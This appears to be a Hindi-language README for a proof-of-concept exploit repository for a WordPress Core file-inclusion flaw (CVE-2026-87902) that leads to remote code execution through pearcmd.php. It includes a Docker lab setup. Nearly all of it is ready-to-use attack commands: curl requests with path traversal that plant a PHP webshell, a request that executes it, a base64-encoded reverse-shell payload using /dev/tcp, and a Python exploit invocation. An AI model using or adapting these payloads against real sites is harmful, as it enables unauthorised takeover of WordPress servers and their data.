nextco/wordpress-cve-2026-87902CVE-2026-87902 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो pearcmd.php के माध्यम से RCE की ओर ले जाने वाला अनऑथेंटिकेटेड WordPress Core LFI है, साथ में एक Docker लैब और curl/Python एक्सप्लॉइट स्क्रिप्ट्स।
WordPress Core <= 7.1.1 — अनधिकृत LFI (टेम्पलेट लोडर pagename) → pearcmd.php के माध्यम से RCE।
श्रेय: https://github.com/ressl/cve-2026-87902-poc
cd docker && docker compose up -d
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=stripslashes($_REQUEST[_])?>+"
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn"
# रिवर्स शेल
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJw==|base64+-d|sh"
python3 exploit-pear.py http://127.0.0.1:18092 2 "id"